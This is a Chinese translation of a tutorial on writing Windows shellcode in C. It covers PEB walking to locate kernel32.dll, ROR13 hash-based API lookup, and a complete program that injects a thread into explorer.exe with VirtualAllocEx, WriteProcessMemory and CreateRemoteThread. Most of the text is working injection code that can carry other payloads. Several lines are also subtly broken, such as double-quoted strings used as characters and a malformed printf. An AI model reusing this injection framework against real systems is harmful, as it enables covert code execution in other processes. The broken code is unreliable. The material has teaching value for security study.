使用C編譯器編寫shellcode

MasonEast 發(fā)布于2019-06-21 16:19 / 3473人閱讀

摘要：最終我厭倦了這樣的方式，雖然很懷念完備的功能，我還是開始使用內(nèi)聯(lián)匯編來解決問題。禁用棧緩沖區(qū)安全檢查。為了使微軟編譯器在棧上動態(tài)的分配字符以便重定位，你需要如下處理你會發(fā)現(xiàn)，我將字符串聲明為字符數(shù)組的形式。

背景

有時候程序員們需要寫一段獨立于位置操作的代碼，可當(dāng)作一段數(shù)據(jù)寫到其他進(jìn)程或者網(wǎng)絡(luò)中去。該類型代碼在它誕生之初就被稱為shellcode，在軟件中黑客們以此獲取到shell權(quán)限。方法就是通過這樣或那樣的惡意手法使得這段代碼得以執(zhí)行，完成它的使命。當(dāng)然了，該代碼的編寫僅能靠它自己，作者無法使用現(xiàn)代軟件開發(fā)的實踐來推進(jìn)shellcode的編寫。

匯編常用于編寫shellcode，特別是對代碼大小挑剔的時候，匯編就是不錯的選擇。對我個人而言，多數(shù)項目都需要一段類似可以注入到其他進(jìn)程的代碼。這時候我就不是特別在意代碼大小了，反而是開發(fā)效率以及調(diào)試能力顯得尤為重要。一開始，我用NASM編寫?yīng)毩⒌膮R編程序，把獲得的輸出文件轉(zhuǎn)換為C數(shù)組，然后整合到我的程序中。這正是你在milw0rm這樣的網(wǎng)站上所看到的，大多數(shù)exploit?payload的獲取方式。最終我厭倦了這樣的方式，雖然很懷念NASM完備的功能，我還是開始使用內(nèi)聯(lián)匯編來解決問題。隨著經(jīng)驗的積累，我發(fā)現(xiàn)了一個完全可用的純C開發(fā)shellcode的方法，僅需2條內(nèi)聯(lián)匯編指令。就開發(fā)速度和調(diào)試shellcode時的上下文而言，真的比單純使用匯編的方法有很大的改進(jìn)。運用機器級的比如ollydbg這樣的調(diào)試器，我毫不含糊，但這相對于用Visual?Studio調(diào)試器來調(diào)試C源碼，就是小菜一碟。

準(zhǔn)備工作

為了確保能生成可用作shellcode這樣特定格式的代碼，我們需要對Visual?Studio做些特殊的配置。下面的各項配置，可能隨編譯器的變更而變更：

使用Release模式。近來編譯器的Debug模式可能產(chǎn)生逆序的函數(shù)，并且會插入許多與位置相關(guān)的調(diào)用。

禁用優(yōu)化。編譯器會默認(rèn)優(yōu)化那些沒有使用的函數(shù)，而那可能正是我們所需要的。

禁用棧緩沖區(qū)安全檢查（/Gs)。在函數(shù)頭尾所調(diào)用的棧檢查函數(shù)，存在于二進(jìn)制文件的某個特定位置，導(dǎo)致輸出的函數(shù)不能重定位，這對shellcode是無意義的。

第一個shellcode

#include 

void shell_code()
{
    for (;;)
        ;
}

void __declspec(naked) END_SHELLCODE(void) {}

int main(int argc, char *argv[])
{
    int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;

    // Show some info about our shellcode buffer
    printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);

    // Now we can test out the shellcode by calling it from C!
    shell_code();

    return 0;
}

這里所示例的shellcode除了一個無限循環(huán)，啥事也沒干。不過有一點是比較重要的————放在shell_code函數(shù)之后的END_SHELLCODE。有了這個，我們就能通過shell_code函數(shù)開頭和END_SHELLCODE函數(shù)開頭間的距離來確定shellcode的長度了。還有，C語言在這里所體現(xiàn)的好處就是我們能夠把程序本身當(dāng)作一段數(shù)據(jù)來訪問，所以如果我們需要把shellcode寫到另外一份文件中，僅需簡單的調(diào)用fwrite(shell_code,?sizeofshellcode,?1,?filehandle)。

Visual?Studio環(huán)境中，通過調(diào)用shell_code函數(shù)，借助IDE的調(diào)試技能，就可以很容易的調(diào)試shellcode了。

在上面所示的第一個小案例中，shellcode僅用了一個函數(shù)，其實我們可以使用許多函數(shù)。只是所有的函數(shù)需要連續(xù)地存放在shell_code函數(shù)和END_SHELLCODE函數(shù)之間，這是因為當(dāng)在內(nèi)部函數(shù)間調(diào)用時，call指令總是相對的。call指令的意思是“從距這里X字節(jié)的地方調(diào)用一個函數(shù)”。所以如果我們把執(zhí)行call的代碼和被調(diào)用的代碼都拷貝到其他地方，同時又保證了它們間的相對距離，那么鏈接時就不會出岔子。

Shellcode中數(shù)據(jù)的使用

傳統(tǒng)C源碼中，如果要用一段諸如ASCII字符的數(shù)據(jù)，可以直接內(nèi)嵌進(jìn)去，無需擔(dān)心數(shù)據(jù)的存放，比如:?WinExec(“evil.exe”)。這里的“evil.exe”字符串被存儲在C程序的靜態(tài)區(qū)域（很可能是二進(jìn)制的.rdata節(jié)中），如果我們把這段代碼拷貝出來，試圖將其注入到其他進(jìn)程中，就會因那段字符不存在于其他進(jìn)程的特定位置而失敗。傳統(tǒng)匯編編寫的shellcode可以輕松的使用數(shù)據(jù)，這通過使用call指令獲取到指向代碼本身的指針，而這段代碼可能就混雜著數(shù)據(jù)。下面是一個使用匯編實現(xiàn)的shellcode方式的WinExec調(diào)用：

call end_of_string
db "evil.exe",0
end_of_string:
call WinExec

這里的第一個call指令跳過字符數(shù)據(jù)”evial.exe”，同時在棧頂存放了一個指向字符串的指針，稍后會被用作WinExec函數(shù)的參數(shù)。這種新穎的使用數(shù)據(jù)的方法有著很高的空間利用率，但是很可惜在C語言中沒有與此等價的直接調(diào)用。在用C寫shellcode時，我建議使用棧區(qū)來存放和使用字符串。為了使微軟編譯器在棧上動態(tài)的分配字符以便重定位，你需要如下處理：

char mystring[] = {"e","v","i","l",".","e","x","e",0};
winexec(mystring);

你會發(fā)現(xiàn)，我將字符串聲明為字符數(shù)組的形式。如果我這樣寫char?mystring[]?=?“evil.exe”;?在老式的微軟編譯器中，它會通過一系列的mov指令來構(gòu)成字符串，而現(xiàn)在僅會簡單的將字符串從內(nèi)存中的固定位置拷貝到棧中，而如果需要重定位代碼，這就無效了。把兩種方法都試試，下載免費的IDA?Pro版本看看它們的反匯編代碼。上面的賦值語句的反匯編應(yīng)該看起來如下所示：

mov [ebp+mystring], 65h
mov [ebp+mystring+1], 76h
mov [ebp+mystring+2], 69h
mov [ebp+mystring+3], 6Ch
mov [ebp+mystring+4], 2Eh
mov [ebp+mystring+5], 65h
mov [ebp+mystring+6], 78h
mov [ebp+mystring+7], 65h
mov [ebp+mystring+8], 0

處理數(shù)據(jù)時，字符串真的是很頭疼的一件事。其他比如結(jié)構(gòu)體、枚舉、typedef聲明、函數(shù)指針啊這些，都能如你預(yù)期的那樣正常工作，你可以利用C提供的全套功能。確保數(shù)據(jù)為局部變量，一切都OK了。

使用庫函數(shù)

我將這篇文章專注于Windows環(huán)境的shellcode。上面所提及的一些規(guī)則也適用于Unix系統(tǒng)。Windows環(huán)境下的shellcode會更復(fù)雜一點，因為我們沒有一致公開的方法進(jìn)行系統(tǒng)調(diào)用，就像在Unix中僅需幾條匯編代碼就可以的那樣（對int?80h的調(diào)用）。我們需要利用DLL中提供的API函數(shù)，來進(jìn)行系統(tǒng)調(diào)用做些像讀寫文件、網(wǎng)絡(luò)通信這樣的事。這些DLL最終會進(jìn)行必要的系統(tǒng)調(diào)用，而它的實現(xiàn)細(xì)節(jié)幾乎隨著每次Windows的發(fā)布而變化。像《The?Shellcoder’s?Handbook》這樣的標(biāo)榜性著作描繪了搜尋內(nèi)存中DLL和函數(shù)的方法。如果想將shellcode做到在不同Windows版本間的可移植性，有兩個函數(shù)是必須的：1、查找kernel32.dll的函數(shù)；2、實現(xiàn)GetProcAddress()函數(shù)或者查找GetProcAddress()地址的函數(shù)。我所提供的實現(xiàn)是基于hash的而非字符串的比較，下面我將提供用于shellcode的hash實現(xiàn)，并做個簡短的說明。

Hash函數(shù)

在shellcode中，使用hash進(jìn)行函數(shù)的查詢是比較普遍的。較流行的ROR13?hash方法是最常用的，它的實現(xiàn)也用在了《The?Shellcoder’s?Handbook》中。它的基本思想是當(dāng)我們要查詢一個名為“MyFunction”的函數(shù)時，不是將字符串存放在內(nèi)存中，對每個函數(shù)名進(jìn)行字符串的比對，而是生成一個32位的hash值，將每個函數(shù)名進(jìn)行hash比對。這并不能減小運行時間，但是可以節(jié)省shellcode的空間，也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13?hash實現(xiàn)：

DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
    DWORD hash = 0;

    while (*unicode_string != 0)
    {
        DWORD val = (DWORD)*unicode_string++;
        hash = (hash >> 13) | (hash << 19); // ROR 13
        hash += val;
    }
    return hash;
}

DWORD __stdcall ror13_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash >> 13)|(hash << 19);  // ROR 13
        hash += val;
    }
    return hash;
}

查找DLL

有3個鏈表可以用來描述內(nèi)存中加載的DLL：

InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進(jìn)程環(huán)境塊）中。在你的shellcode中，用哪個都可以，我所用的是InMemoryOrderModuleList。需要如下的兩條內(nèi)聯(lián)匯編來訪問PEB:

PPEB __declspec(naked) get_peb(void)
{
    __asm {
        mov eax, fs:[0x30]
        ret
    }
}

現(xiàn)在我們已經(jīng)獲取了PEB，可以查詢內(nèi)存中的DLL了。唯一的一直存在于Windows進(jìn)程內(nèi)存中的DLL是ntdll.dll，但kernel32.dll會更方便一點，并且在99.99%的Windows進(jìn)程中（Win32子系統(tǒng)）都可用。下面我提供的代碼實現(xiàn)會查詢module列表，利用unicode的ROR13?hash值查到kernel32.dll。

HMODULE __stdcall find_kernel32(void)
{
    return find_module_by_hash(0x8FECD63F);
}

HMODULE __stdcall find_module_by_hash(DWORD hash)
{
    PPEB peb;
    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;

    peb = get_peb();

    module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
    first_mod = module_ptr;

    do {
        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
            return (HMODULE)module_ptr->Reserved2[0];
        else
            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

    return INVALID_HANDLE_VALUE;
}

這里所提供的find_module_by_hash函數(shù)可以利用dll名稱的hash值找到任意的加載在內(nèi)存中的DLL。如果要加載一個新的原本不再內(nèi)存中的DLL，就需要使用kernel32.dll中的LoadLibrary函數(shù)。要找到LoadLibrary函數(shù)，我們就需要實現(xiàn)GetProcAddress函數(shù)。下面的代碼實現(xiàn)利用函數(shù)名的hash值在加載的dll中查找函數(shù)：

FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
    IMAGE_DOS_HEADER *dos_header;
    IMAGE_NT_HEADERS *nt_headers;
    IMAGE_EXPORT_DIRECTORY *export_dir;
    DWORD *names, *funcs;
    WORD *nameords;
    int i;

    dos_header = (IMAGE_DOS_HEADER *)module;
    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    names = (DWORD *)((char *)module + export_dir->AddressOfNames);
    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);

    for (i = 0; i < export_dir->NumberOfNames; i++)
    {
        char *string = (char *)module + names[i];
        if (hash == ror13_hash(string))
        {
            WORD nameord = nameords[i];
            DWORD funcrva = funcs[nameord];
            return (FARPROC)((char *)module + funcrva);
        }
    }

    return NULL;
}

現(xiàn)在我們可以這樣查找函數(shù)：

HMODULE kern32 = find_kernel32();
FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E);   // the hash of LoadLibraryA

最終成品

現(xiàn)在我將以完整的C程序的方式來展示上面所提及的內(nèi)容。代碼執(zhí)行時，將生成名為shellcode.bin的文件，它就存儲著shellcode。該shellcode可以向explorer.exe注入一個線程，實現(xiàn)無限循環(huán)，直至消耗完cpu。?

#include 
#include 
#include 
#include 
#include 

PPEB get_peb(void);
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
DWORD __stdcall ror13_hash(const char *string);
HMODULE __stdcall find_module_by_hash(DWORD hash);
HMODULE __stdcall find_kernel32(void);
FARPROC __stdcall find_function(HMODULE module, DWORD hash);
HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
BOOL __stdcall strmatch(const char *a, const char *b);

void __stdcall shell_code()
{
    HMODULE kern32;
    DWORD *dwptr;
    HANDLE hProcess;
    char procname[] = {"e","x","p","l","o","r","e","r",".","e","x","e",0};
    char code[] = {0xEB, 0xFE};

    kern32 = find_kernel32();
    hProcess = find_process(kern32, (char *)procname);
    inject_code(kern32, hProcess, code, sizeof code);
}

HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
{
    FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
    FARPROC process32first = find_function(kern32, 0x3249BAA7);
    FARPROC process32next = find_function(kern32, 0x4776654A);
    FARPROC openprocess = find_function(kern32, 0xEFE297C0);
    FARPROC createprocess = find_function(kern32, 0x16B3FE72);
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;

    hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if (!process32first(hSnapshot, &pe32))
        return INVALID_HANDLE_VALUE;

    do
    {
        if (strmatch(pe32.szExeFile, procname))
        {
            return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
        }
    } while (process32next(hSnapshot, &pe32));

    return INVALID_HANDLE_VALUE;
}

BOOL __stdcall strmatch(const char *a, const char *b)
{
    while (*a != "" && *b != "")
    {
        char aA_delta = "a" - "A";
        char a_conv = *a >= "a" && *a <= "z" ? *a - aA_delta : *a;
        char b_conv = *b >= "a" && *b <= "z" ? *b - aA_delta : *b;

        if (a_conv != b_conv)
            return FALSE;
        a++;
        b++;
    }

    if (*b == "" && *a == "")
        return TRUE;
    else
        return FALSE;
}

VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
{
    FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
    FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
    FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
    LPVOID remote_buffer;
    DWORD dwNumBytesWritten;

    remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remote_buffer == NULL)
        return;

    if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
        return;

    createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
}

HMODULE __stdcall find_kernel32(void)
{
    return find_module_by_hash(0x8FECD63F);
}

HMODULE __stdcall find_module_by_hash(DWORD hash)
{
    PPEB peb;
    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;

    peb = get_peb();

    module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
    first_mod = module_ptr;

    do {
        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
            return (HMODULE)module_ptr->Reserved2[0];
        else
            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

    return INVALID_HANDLE_VALUE;
}

PPEB __declspec(naked) get_peb(void)
{
    __asm {
        mov eax, fs:[0x30]
        ret
    }
}

DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
    DWORD hash = 0;

    while (*unicode_string != 0)
    {
        DWORD val = (DWORD)*unicode_string++;
        hash = (hash >> 13) | (hash << 19); // ROR 13
        hash += val;
    }
    return hash;
}

DWORD __stdcall ror13_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash >> 13)|(hash << 19);  // ROR 13
        hash += val;
    }
    return hash;
}

FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
    IMAGE_DOS_HEADER *dos_header;
    IMAGE_NT_HEADERS *nt_headers;
    IMAGE_EXPORT_DIRECTORY *export_dir;
    DWORD *names, *funcs;
    WORD *nameords;
    int i;

    dos_header = (IMAGE_DOS_HEADER *)module;
    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    names = (DWORD *)((char *)module + export_dir->AddressOfNames);
    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);

    for (i = 0; i < export_dir->NumberOfNames; i++)
    {
        char *string = (char *)module + names[i];
        if (hash == ror13_hash(string))
        {
            WORD nameord = nameords[i];
            DWORD funcrva = funcs[nameord];
            return (FARPROC)((char *)module + funcrva);
        }
    }

    return NULL;
}

void __declspec(naked) END_SHELLCODE(void) {}

int main(int argc, char *argv[])
{
    FILE *output_file = fopen("shellcode.bin", "w");
    fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
    fclose(output_file);

    return 0;
}

原文 Writing Shellcode with a C Compiler
翻譯徐文博
via idf.cn

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